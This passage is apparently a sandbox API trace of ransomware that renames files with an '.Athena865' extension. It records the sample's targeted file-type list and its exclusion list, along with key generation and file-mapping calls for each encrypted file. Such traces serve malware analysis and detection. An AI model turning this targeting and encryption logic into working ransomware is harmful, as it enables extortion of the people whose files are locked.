(lpString=".sys") returned 4 [0063.078] lstrcmpiW (lpString1="ose.exe", lpString2=".sys") returned 1 [0063.078] lstrlenW (lpString="ose.exe") returned 7 [0063.078] lstrlenW (lpString="bak") returned 3 [0063.078] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0063.078] lstrlenW (lpString="ba_") returned 3 [0063.078] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0063.078] lstrlenW (lpString="dbb") returned 3 [0063.078] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0063.078] lstrlenW (lpString="vmdk") returned 4 [0063.078] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0063.078] lstrlenW (lpString="rar") returned 3 [0063.078] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0063.078] lstrlenW (lpString="zip") returned 3 [0063.078] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0063.078] lstrlenW (lpString="tgz") returned 3 [0063.078] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0063.078] lstrlenW (lpString="vbox") returned 4 [0063.078] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0063.078] lstrlenW (lpString="vdi") returned 3 [0063.078] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0063.078] lstrlenW (lpString="vhd") returned 3 [0063.079] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0063.079] lstrlenW (lpString="vhdx") returned 4 [0063.079] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0063.079] lstrlenW (lpString="avhd") returned 4 [0063.079] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0063.079] lstrlenW (lpString="db") returned 2 [0063.079] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0063.079] lstrlenW (lpString="db2") returned 3 [0063.079] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0063.079] lstrlenW (lpString="db3") returned 3 [0063.079] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0063.079] lstrlenW (lpString="dbf") returned 3 [0063.079] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0063.079] lstrlenW (lpString="mdf") returned 3 [0063.079] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0063.079] lstrlenW (lpString="mdb") returned 3 [0063.079] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0063.079] lstrlenW (lpString="sql") returned 3 [0063.079] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0063.079] lstrlenW (lpString="sqlite") returned 6 [0063.079] lstrcmpiW (lpString1="se.exe", lpString2="sqlite") returned -1 [0063.079] lstrlenW (lpString="sqlite3") returned 7 [0063.079] lstrlenW (lpString="sqlitedb") returned 8 [0063.079] lstrlenW (lpString="xml") returned 3 [0063.079] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0063.079] lstrlenW (lpString="$er") returned 3 [0063.079] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0063.079] lstrlenW (lpString="4dd") returned 3 [0063.079] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0063.079] lstrlenW (lpString="4dl") returned 3 [0063.079] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0063.079] lstrlenW (lpString="^^^") returned 3 [0063.079] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0063.080] lstrlenW (lpString="abs") returned 3 [0063.080] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0063.080] lstrlenW (lpString="abx") returned 3 [0063.080] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0063.080] lstrlenW (lpString="accdb") returned 5 [0063.080] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1 [0063.080] lstrlenW (lpString="accdc") returned 5 [0063.080] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1 [0063.080] lstrlenW (lpString="accde") returned 5 [0063.080] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1 [0063.080] lstrlenW (lpString="accdr") returned 5 [0063.080] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1 [0063.080] lstrlenW (lpString="accdt") returned 5 [0063.080] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1 [0063.080] lstrlenW (lpString="accdw") returned 5 [0063.080] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1 [0063.080] lstrlenW (lpString="accft") returned 5 [0063.080] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1 [0063.080] lstrlenW (lpString="adb") returned 3 [0063.080] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0063.080] lstrlenW (lpString="adb") returned 3 [0063.080] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0063.080] lstrlenW (lpString="ade") returned 3 [0063.080] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0063.080] lstrlenW (lpString="adf") returned 3 [0063.080] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0063.080] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0063.080] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0063.081] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.Athena865") returned 80 [0063.081] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.athena865"), dwFlags=0x1) returned 1 [0063.082] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0063.082] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=174440) returned 1 [0063.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0063.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0063.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5191a0 [0063.082] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519118) returned 1 [0063.083] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0063.083] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.083] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ac70, lpName=0x0) returned 0x17c [0063.085] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ac70) returned 0x170000 [0063.091] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519118) returned 1 [0063.092] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0063.092] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0063.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0063.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0063.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0063.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0063.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0063.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0063.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0063.092] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0063.094] CloseHandle (hObject=0x17c) returned 1 [0063.094] CloseHandle (hObject=0x154) returned 1 [0063.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0063.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0063.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0063.095] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0063.095] lstrcmpiW (lpString1="osetup.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0063.095] lstrcmpiW (lpString1="osetup.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0063.095] lstrcmpiW (lpString1="osetup.dll", lpString2=".") returned 1 [0063.095] lstrcmpiW (lpString1="osetup.dll", lpString2="..") returned 1 [0063.095] lstrcmpiW (lpString1="osetup.dll", lpString2="windows") returned -1 [0063.095] lstrcmpiW (lpString1="osetup.dll", lpString2="bootmgr") returned 1 [0063.095] lstrcmpiW (lpString1="osetup.dll", lpString2="temp") returned -1 [0063.095] lstrcmpiW (lpString1="osetup.dll", lpString2="pagefile.sys") returned -1 [0063.095] lstrcmpiW (lpString1="osetup.dll", lpString2="boot") returned 1 [0063.095] lstrcmpiW (lpString1="osetup.dll", lpString2="ids.txt") returned 1 [0063.095] lstrcmpiW (lpString1="osetup.dll", lpString2="ntuser.dat") returned 1 [0063.095] lstrcmpiW (lpString1="osetup.dll", lpString2="perflogs") returned -1 [0063.096] lstrcmpiW (lpString1="osetup.dll", lpString2="MSBuild") returned 1 [0063.096] lstrlenW (lpString="osetup.dll") returned 10 [0063.096] lstrcpyW (in: lpString1=0x241e8c6, lpString2="osetup.dll" | out: lpString1="osetup.dll") returned="osetup.dll" [0063.096] lstrlenW (lpString="osetup.dll") returned 10 [0063.096] lstrlenW (lpString="Athena865") returned 9 [0063.096] lstrcmpiW (lpString1="setup.dll", lpString2="Athena865") returned 1 [0063.096] lstrlenW (lpString=".dll") returned 4 [0063.096] lstrcmpiW (lpString1="osetup.dll", lpString2=".dll") returned 1 [0063.096] lstrlenW (lpString=".lnk") returned 4 [0063.096] lstrcmpiW (lpString1="osetup.dll", lpString2=".lnk") returned 1 [0063.096] lstrlenW (lpString=".ini") returned 4 [0063.096] lstrcmpiW (lpString1="osetup.dll", lpString2=".ini") returned 1 [0063.096] lstrlenW (lpString=".sys") returned 4 [0063.096] lstrcmpiW (lpString1="osetup.dll", lpString2=".sys") returned 1 [0063.096] lstrlenW (lpString="osetup.dll") returned 10 [0063.096] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.Athena865") returned 83 [0063.096] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.athena865"), dwFlags=0x1) returned 1 [0063.097] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0063.097] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7378792) returned 1 [0063.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0063.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0063.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5191a0 [0063.097] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519118) returned 1 [0063.098] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0063.098] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.098] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x709a70, lpName=0x0) returned 0x17c [0063.100] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x109a70) returned 0x2d50000 [0063.291] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519118) returned 1 [0063.292] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0063.292] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0063.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0063.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0063.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0063.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0063.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0063.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0063.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0063.292] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0063.301] CloseHandle (hObject=0x17c) returned 1 [0063.301] CloseHandle (hObject=0x154) returned 1 [0063.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0063.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0063.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0063.310] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0063.310] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0063.310] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0063.310] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".") returned 1 [0063.310] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="..") returned 1 [0063.310] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="windows") returned -1 [0063.310] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="bootmgr") returned 1 [0063.310] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="temp") returned -1 [0063.310] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="pagefile.sys") returned -1 [0063.310] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="boot") returned 1 [0063.310] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="ids.txt") returned 1 [0063.310] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="ntuser.dat") returned 1 [0063.310] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="perflogs") returned -1 [0063.311] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="MSBuild") returned 1 [0063.311] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0063.311] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OWOW32WW.cab" | out: lpString1="OWOW32WW.cab") returned="OWOW32WW.cab" [0063.311] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0063.311] lstrlenW (lpString="Athena865") returned 9 [0063.311] lstrcmpiW (lpString1="W32WW.cab", lpString2="Athena865") returned 1 [0063.311] lstrlenW (lpString=".dll") returned 4 [0063.311] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".dll") returned 1 [0063.311] lstrlenW (lpString=".lnk") returned 4 [0063.311] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".lnk") returned 1 [0063.311] lstrlenW (lpString=".ini") returned 4 [0063.311] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".ini") returned 1 [0063.311] lstrlenW (lpString=".sys") returned 4 [0063.311] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".sys") returned 1 [0063.311] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0063.311] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.Athena865") returned 85 [0063.311] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.athena865"), dwFlags=0x1) returned 1 [0063.312] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0063.312] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36233052) returned 1 [0063.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0063.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0063.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5191a0 [0063.313] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519118) returned 1 [0063.313] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0063.313] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.313] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x228e260, lpName=0x0) returned 0x17c [0063.315] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x2200000, dwNumberOfBytesToMap=0x8e260) returned 0x2d50000 [0063.543] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519118) returned 1 [0063.544] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0063.544] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0063.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0063.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0063.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0063.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0063.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0063.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0063.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0063.545] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0063.550] CloseHandle (hObject=0x17c) returned 1 [0063.550] CloseHandle (hObject=0x154) returned 1 [0063.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0063.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0063.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0063.559] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0063.559] lstrcmpiW (lpString1="PidGenX.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0063.559] lstrcmpiW (lpString1="PidGenX.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0063.559] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".") returned 1 [0063.559] lstrcmpiW (lpString1="PidGenX.dll", lpString2="..") returned 1 [0063.559] lstrcmpiW (lpString1="PidGenX.dll", lpString2="windows") returned -1 [0063.559] lstrcmpiW (lpString1="PidGenX.dll", lpString2="bootmgr") returned 1 [0063.559] lstrcmpiW (lpString1="PidGenX.dll", lpString2="temp") returned -1 [0063.559] lstrcmpiW (lpString1="PidGenX.dll", lpString2="pagefile.sys") returned 1 [0063.559] lstrcmpiW (lpString1="PidGenX.dll", lpString2="boot") returned 1 [0063.559] lstrcmpiW (lpString1="PidGenX.dll", lpString2="ids.txt") returned 1 [0063.560] lstrcmpiW (lpString1="PidGenX.dll", lpString2="ntuser.dat") returned 1 [0063.560] lstrcmpiW (lpString1="PidGenX.dll", lpString2="perflogs") returned 1 [0063.560] lstrcmpiW (lpString1="PidGenX.dll", lpString2="MSBuild") returned 1 [0063.560] lstrlenW (lpString="PidGenX.dll") returned 11 [0063.560] lstrcpyW (in: lpString1=0x241e8c6, lpString2="PidGenX.dll" | out: lpString1="PidGenX.dll") returned="PidGenX.dll" [0063.560] lstrlenW (lpString="PidGenX.dll") returned 11 [0063.560] lstrlenW (lpString="Athena865") returned 9 [0063.560] lstrcmpiW (lpString1="dGenX.dll", lpString2="Athena865") returned 1 [0063.560] lstrlenW (lpString=".dll") returned 4 [0063.560] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".dll") returned 1 [0063.560] lstrlenW (lpString=".lnk") returned 4 [0063.560] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".lnk") returned 1 [0063.560] lstrlenW (lpString=".ini") returned 4 [0063.560] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".ini") returned 1 [0063.560] lstrlenW (lpString=".sys") returned 4 [0063.560] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".sys") returned 1 [0063.560] lstrlenW (lpString="PidGenX.dll") returned 11 [0063.560] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.Athena865") returned 84 [0063.560] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.athena865"), dwFlags=0x1) returned 1 [0063.561] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0063.561] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1463568) returned 1 [0063.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0063.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0063.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5191a0 [0063.562] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519118) returned 1 [0063.562] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d1d8 | out: 